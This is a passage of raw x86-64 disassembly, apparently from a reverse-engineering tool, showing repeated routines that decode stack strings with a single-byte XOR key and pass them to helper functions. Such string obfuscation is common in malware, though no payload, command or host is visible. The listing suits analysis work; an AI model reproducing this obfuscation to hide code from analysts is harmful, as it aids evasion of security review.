xor byte [r8 + 0x18], al
lea r8, [r8 + 0x1b]
lea rax, [r10 + r8]
cmp rax, 0x51
jb 0x14002dbe1
mov byte [rdx + 0x51], 0
lea rcx, [rsp + 0xb0]
call fcn.140007dc0
nop
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x370]
call fcn.1400396d0
nop
lea rcx, [rsp + 0x90]
call fcn.140016be0
lea rdx, [rsp + 0x50]
call fcn.140031820
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
xor byte [rax + 0x19], dl
xor byte [rax + 0x1a], dl
xor byte [rax + 0x1b], dl
xor byte [rax + 0x1c], dl
xor byte [rax + 0x1d], dl
xor byte [rax + 0x1e], dl
mov byte [r8 + 0x1e], 0
mov rdx, r15
lea rcx, [rsp + 0x90]
call fcn.140022fd0
nop
lea rdx, [rsp + 0xf0]
call fcn.140031860
mov r9, rax
lea r8, [rax + 3]
mov r10, rbx
sub r10, rax
lea rdx, [r10 + r8]
movzx ecx, byte [r9]
xor byte [rdx + r9 + 1], cl
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
movzx eax, byte [r9]
xor byte [r8 + 0xf], al
movzx eax, byte [r9]
xor byte [r8 + 0x10], al
movzx eax, byte [r9]
xor byte [r8 + 0x11], al
movzx eax, byte [r9]
xor byte [r8 + 0x12], al
movzx eax, byte [r9]
xor byte [r8 + 0x13], al
movzx eax, byte [r9]
xor byte [r8 + 0x14], al
movzx eax, byte [r9]
xor byte [r8 + 0x15], al
movzx eax, byte [r9]
xor byte [r8 + 0x16], al
movzx eax, byte [r9]
xor byte [r8 + 0x17], al
movzx eax, byte [r9]
xor byte [r8 + 0x18], al
lea r8, [r8 + 0x1b]
lea rax, [r10 + r8]
cmp rax, 0x51
jb 0x14002dda0
mov byte ds:[r9 + 0x52], 0
lea rdx, [r9 + 1]
lea rcx, [rsp + 0xb0]
call fcn.140007dc0
nop
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x370]
call fcn.1400396d0
nop
lea rcx, [rsp + 0x90]
call fcn.140016be0
lea rdx, [rsp + 0x50]
call fcn.140031900
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
xor byte [rax + 0x19], dl
xor byte [rax + 0x1a], dl
xor byte [rax + 0x1b], dl
xor byte [rax + 0x1c], dl
xor byte [rax + 0x1d], dl
xor byte [rax + 0x1e], dl
mov byte [r8 + 0x1e], 0
mov rdx, r15
lea rcx, [rsp + 0x90]
call fcn.140022fd0
nop
lea rdx, [rsp + 0xf0]
call fcn.140031940
mov r9, rax
lea r8, [rax + 3]
mov r10, rbx
sub r10, rax
nop dword [rax]
nop dword [rax + rax]
lea rdx, [r10 + r8]
movzx ecx, byte [r9]
xor byte [rdx + r9 + 1], cl
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
movzx eax, byte [r9]
xor byte [r8 + 0xf], al
movzx eax, byte [r9]
xor byte [r8 + 0x10], al
movzx eax, byte [r9]
xor byte [r8 + 0x11], al
movzx eax, byte [r9]
xor byte [r8 + 0x12], al
movzx eax, byte [r9]
xor byte [r8 + 0x13], al
movzx eax, byte [r9]
xor byte [r8 + 0x14], al
movzx eax, byte [r9]
xor byte [r8 + 0x15], al
movzx eax, byte [r9]
xor byte [r8 + 0x16], al
movzx eax, byte [r9]
xor byte [r8 + 0x17], al
movzx eax, byte [r9]
xor byte [r8 + 0x18], al
lea r8, [r8 + 0x1b]
lea rax, [r10 + r8]
cmp rax, 0x51
jb 0x14002df70
mov byte [r9 + 0x52], 0
lea rdx, [r9 + 1]
lea rcx, [rsp + 0xb0]
call fcn.140007dc0
nop
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x370]
call fcn.1400396d0
nop
lea rcx, [rsp + 0x90]
call fcn.140016be0
lea rdx, [rsp + 0x90]
call fcn.1400319e0
lea r8, ds:[rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
xor byte [rax + 0x19], dl
xor byte [rax + 0x1a], dl
xor byte [rax + 0x1b], dl
xor byte [rax + 0x1c], dl
xor byte [rax + 0x1d], dl
xor byte [rax + 0x1e], dl
xor byte [rax + 0x1f], dl
xor byte [rax + 0x20], dl
xor byte [rax + 0x21], dl
mov byte [r8 + 0x21], 0
mov rdx, r15
lea rcx, [rsp + 0xf0]
call fcn.140022fd0
nop
lea rdx, [rsp + 0x170]
call fcn.140031a30
mov r9, rax
lea r8, [rax + 3]
mov r10, rbx
sub r10, rax
lea rdx, [r10 + r8]
movzx ecx, byte [r9]
xor byte [rdx + r9 + 1], cl
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
movzx eax, byte [r9]
xor byte [r8 + 0xf], al
movzx eax, byte [r9]
xor byte [r8 + 0x10], al
movzx eax, byte [r9]
xor byte [r8 + 0x11], al
movzx eax, byte [r9]
xor byte [r8 + 0x12], al
movzx eax, byte [r9]
xor byte [r8 + 0x13], al
movzx eax, byte [r9]
xor byte [r8 + 0x14], al
movzx eax, byte [r9]
xor byte [r8 + 0x15], al
movzx eax, byte [r9]
xor byte [r8 + 0x16], al
movzx eax, byte [r9]
xor byte [r8 + 0x17], al
movzx eax, byte [r9]
xor byte [r8 + 0x18], al
movzx eax, byte [r9]
xor byte [r8 + 0x19], al
lea r8, [r8 + 0x1c]
lea rax, [r10 + r8]
cmp rax, 0x54
jb 0x14002e140
mov byte [r9 + 0x55], 0
lea rdx, [r9 + 1]
lea rcx, [rsp + 0x110]
call fcn.140007dc0
nop
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0x370]
call fcn.1400396d0
nop
lea rcx, [rsp + 0xf0]
call fcn.140016be0
lea rdx, [rsp + 0x50]
call fcn.140031ad0
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
mov byte [r8 + 0x17], 0
mov rdx, r15
lea rcx, [rsp + 0x90]
call fcn.140022fd0
nop
lea rdx, [rsp + 0xf0]
call fcn.140031b10
mov r9, rax
lea r11, [rax + 1]
lea r8, [rax + 3]
mov r10, rbx
sub r10, rax
nop dword [rax]
lea rdx, [r11 + r8]
movzx ecx, byte [r9]
xor byte [rdx + r10], cl
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
movzx eax, byte [r9]
xor byte [r8 + 0xf], al
movzx eax, byte [r9]
xor byte [r8 + 0x10], al
movzx eax, byte [r9]
xor byte [r8 + 0x11], al
movzx eax, byte [r9]
xor byte [r8 + 0x12], al
movzx eax, byte [r9]
xor byte [r8 + 0x13], al
movzx eax, byte [r9]
xor byte [r8 + 0x14], al
movzx eax, byte [r9]
xor byte [r8 + 0x15], al
movzx eax, byte [r9]
xor byte [r8 + 0x16], al
movzx eax, byte [r9]
xor byte [r8 + 0x17], al
movzx eax, byte [r9]
xor byte [r8 + 0x18], al
movzx eax, byte [r9]
xor byte [r8 + 0x19], al
movzx eax, byte [r9]
xor byte [r8 + 0x1a], al
movzx eax, byte [r9]
xor byte [r8 + 0x1b], al
movzx eax, byte [r9]
xor byte [r8 + 0x1c], al
movzx eax, byte [r9]
xor byte [r8 + 0x1d], al
movzx eax, byte [r9]
xor byte [r8 + 0x1e], al
movzx eax, byte [r9]
xor byte [r8 + 0x1f], al
movzx eax, byte [r9]
xor byte [r8 + 0x20], al
movzx eax, byte [r9]
xor byte [r8 + 0x21], al
movzx eax, byte [r9]
xor byte [r8 + 0x22], al
lea r8, [r8 + 0x25]
lea rax, [r8 + r10]
cmp rax, 0x4a
jb 0x14002e300
mov byte [r11 + 0x4a], 0
mov rdx, r11
lea rcx, [rsp + 0xb0]
call fcn.140007dc0
nop
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x370]
call fcn.1400396d0
nop
lea rcx, [rsp + 0x90]
call fcn.140016be0
lea rdx, ds:[rsp + 0x500]
call fcn.140031ba0
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
mov byte [r8 + 7], 0
mov rdx, r15
lea rcx, [rsp + 0x50]
call fcn.140022fd0
nop
lea r8, [rsp + 0x3c8]
mov rdx, rax
lea rcx, [rsp + 0xf0]
call fcn.140023040
nop
lea rdx, [rsp + 0x90]
call fcn.140031bc0
mov r9, rax
lea r11, [rax + 1]
lea r8, [rax + 3]
mov r10, rbx
sub r10, rax
nop dword [rax + rax]
lea rdx, [r10 + r11]
movzx ecx, byte [r9]
xor byte [rdx + r8], cl
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
movzx eax, byte [r9]
xor byte [r8 + 0xf], al
movzx eax, byte [r9]
xor byte [r8 + 0x10], al
movzx eax, byte [r9]
xor byte [r8 + 0x11], al
movzx eax, byte [r9]
xor byte [r8 + 0x12], al
movzx eax, byte [r9]
xor byte [r8 + 0x13], al
movzx eax, byte [r9]
xor byte [r8 + 0x14], al
movzx eax, byte [r9]
xor byte [r8 + 0x15], al
movzx eax, byte [r9]
xor byte [r8 + 0x16], al
movzx eax, byte [r9]
xor byte [r8 + 0x17], al
movzx eax, byte [r9]
xor byte [r8 + 0x18], al
movzx eax, byte [r9]
xor byte [r8 + 0x19], al
movzx eax, byte [r9]
xor byte [r8 + 0x1a], al
lea r8, [r8 + 0x1d]
lea rax, [r10 + r8]
cmp rax, 0x3a
jb 0x14002e4f0
mov byte [r11 + 0x3a], 0
lea r8, [rsp + 0x3c8]
mov rdx, r11
lea rcx, [rsp + 0x110]
call fcn.140022e20
nop
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0x370]
call fcn.1400396d0
nop
lea rcx, [rsp + 0xf0]
call fcn.140016be0
nop
lea rcx, [rsp + 0x50]
call fcn.1400041e0
lea rdx, [rsp + 0x50]
call fcn.140031c30
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
mov byte [r8 + 0x18], 0
mov rdx, r15
lea rcx, [rsp + 0x90]
call fcn.140022fd0
nop
lea rdx, [rsp + 0xf0]
call fcn.140031c70
mov r9, rax
lea r8, [rax + 3]
mov r10, rbx
sub r10, rax
nop word [rax + rax]
lea rdx, [r10 + r8]
movzx ecx, byte [r9]
xor byte [rdx + r9 + 1], cl
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
movzx eax, byte [r9]
xor byte [r8 + 0xf], al
movzx eax, byte [r9]
xor byte [r8 + 0x10], al
movzx eax, byte [r9]
xor byte [r8 + 0x11], al
movzx eax, byte [r9]
xor byte [r8 + 0x12], al
movzx eax, byte [r9]
xor byte [r8 + 0x13], al
movzx eax, byte [r9]
xor byte [r8 + 0x14], al
movzx eax, byte [r9]
xor byte [r8 + 0x15], al
movzx eax, byte [r9]
xor byte [r8 + 0x16], al
lea r8, [r8 + 0x19]
lea rax, [r10 + r8]
cmp rax, 0x4b
jb 0x14002e6d0
mov byte ds:[r9 + 0x4c], 0
lea rdx, [r9 + 1]
lea rcx, [rsp + 0xb0]
call fcn.140007dc0
nop
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x370]
call fcn.1400396d0
nop
lea rcx, [rsp + 0x90]
call fcn.140016be0
lea rdx, [rsp + 0x70]
call fcn.140031d00
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
mov byte [r8 + 0x15], 0
mov rdx, r15
lea rcx, [rsp + 0x90]
call fcn.140022fd0
nop
lea rdx, [rsp + 0xf0]
call fcn.140031d30
mov r9, rax
lea r8, [rax + 3]
mov r10, rbx
sub r10, rax
nop dword [rax]
lea rdx, ds:[r10 + r8]
movzx ecx, byte [r9]
xor byte [rdx + r9 + 1], cl
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
movzx eax, byte [r9]
xor byte [r8 + 0xf], al
movzx eax, byte [r9]
xor byte [r8 + 0x10], al
movzx eax, byte [r9]
xor byte [r8 + 0x11], al
movzx eax, byte [r9]
xor byte [r8 + 0x12], al
movzx eax, byte [r9]
xor byte [r8 + 0x13], al
movzx eax, byte [r9]
xor byte [r8 + 0x14], al
movzx eax, byte [r9]
xor byte [r8 + 0x15], al
movzx eax, byte [r9]
xor byte [r8 + 0x16], al
movzx eax, byte [r9]
xor byte [r8 + 0x17], al
movzx eax, byte [r9]
xor byte [r8 + 0x18], al
movzx eax, byte [r9]
xor byte [r8 + 0x19], al
movzx eax, byte [r9]
xor byte [r8 + 0x1a], al
movzx eax, byte [r9]
xor byte [r8 + 0x1b], al
movzx eax, byte [r9]
xor byte [r8 + 0x1c], al
movzx eax, byte [r9]
xor byte [r8 + 0x1d], al
movzx eax, byte [r9]
xor byte [r8 + 0x1e], al
movzx eax, byte [r9]
xor byte [r8 + 0x1f], al
movzx eax, byte [r9]
xor byte [r8 + 0x20], al
movzx eax, byte [r9]
xor byte [r8 + 0x21], al
lea r8, [r8 + 0x24]
lea rax, [r10 + r8]
cmp rax, 0x48
jb 0x14002e870
mov byte ds:[r9 + 0x49], 0
lea rdx, [r9 + 1]
lea rcx, [rsp + 0xb0]
call fcn.140007dc0
nop
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x370]
call fcn.1400396d0
nop
lea rcx, [rsp + 0x90]
call fcn.140016be0
lea rdx, [rsp + 0x90]
call fcn.140031dc0
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
xor byte [rax + 0x19], dl
xor byte [rax + 0x1a], dl
xor byte [rax + 0x1b], dl
xor byte [rax + 0x1c], dl
xor byte [rax + 0x1d], dl
xor byte [rax + 0x1e], dl
xor byte [rax + 0x1f], dl
xor byte [rax + 0x20], dl
xor byte [rax + 0x21], dl
xor byte [rax + 0x22], dl
xor byte [rax + 0x23], dl
mov byte [r8 + 0x23], 0
mov rdx, r15
lea rcx, [rsp + 0xf0]
call fcn.140022fd0
nop
lea rdx, [rsp + 0x170]
call fcn.140031e10
mov r9, rax
lea r11, [rax + 1]
lea r8, [rax + 3]
mov r10, rbx
sub r10, rax
nop word [rax + rax]
lea rdx, [r10 + r11]
movzx ecx, byte [r9]
xor byte [rdx + r8], cl
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
movzx eax, byte [r9]
xor byte [r8 + 0xf], al
movzx eax, byte [r9]
xor byte [r8 + 0x10], al
movzx eax, byte [r9]
xor byte [r8 + 0x11], al
movzx eax, byte [r9]
xor byte [r8 + 0x12], al
movzx eax, byte [r9]
xor byte [r8 + 0x13], al
movzx eax, byte [r9]
xor byte [r8 + 0x14], al
movzx eax, byte [r9]
xor byte [r8 + 0x15], al
movzx eax, byte [r9]
xor byte [r8 + 0x16], al
movzx eax, byte [r9]
xor byte [r8 + 0x17], al
movzx eax, byte [r9]
xor byte [r8 + 0x18], al
movzx eax, byte [r9]
xor byte [r8 + 0x19], al
movzx eax, byte [r9]
xor byte [r8 + 0x1a], al
movzx eax, byte [r9]
xor byte [r8 + 0x1b], al
movzx eax, byte [r9]
xor byte [r8 + 0x1c], al
movzx eax, byte [r9]
xor byte [r8 + 0x1d], al
movzx eax, byte [r9]
xor byte [r8 + 0x1e], al
lea r8, [r8 + 0x21]
lea rax, [r10 + r8]
cmp rax, 0x63
jb 0x14002eaa0
mov byte [r11 + 0x63], 0
mov rdx, r11
lea rcx, [rsp + 0x110]
call fcn.140007dc0
nop
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0x370]
call fcn.1400396d0
nop
lea rcx, [rsp + 0xf0]
call fcn.140016be0
lea rdx, ds:[rsp + 0x90]
call fcn.140031ed0
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
xor byte [rax + 0x19], dl
xor byte [rax + 0x1a], dl
xor byte [rax + 0x1b], dl
xor byte [rax + 0x1c], dl
xor byte [rax + 0x1d], dl
xor byte [rax + 0x1e], dl
xor byte [rax + 0x1f], dl
xor byte [rax + 0x20], dl
xor byte [rax + 0x21], dl
xor byte [rax + 0x22], dl
mov byte [r8 + 0x22], 0
mov rdx, r15
lea rcx, [rsp + 0xf0]
call fcn.140022fd0
nop
lea rdx, [rsp + 0x170]
call fcn.140031f20
mov r9, rax
lea r11, [rax + 1]
lea r8, [rax + 3]
mov r10, rbx
sub r10, rax
nop word [rax + rax]
lea rdx, [r11 + r10]
movzx ecx, byte [r9]
xor byte [rdx + r8], cl
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
lea r8, [r8 + 0xe]
lea rax, [r10 + r8]
cmp rax, 0x62
jb 0x14002ecb0
mov byte [r11 + 0x62], 0
mov rdx, r11
lea rcx, [rsp + 0x110]
call fcn.140007dc0
nop
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0x370]
call fcn.1400396d0
nop
lea rcx, [rsp + 0xf0]
call fcn.140016be0
lea rdx, ds:[rsp + 0x90]
call fcn.140031fe0
lea r8, ds:[rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
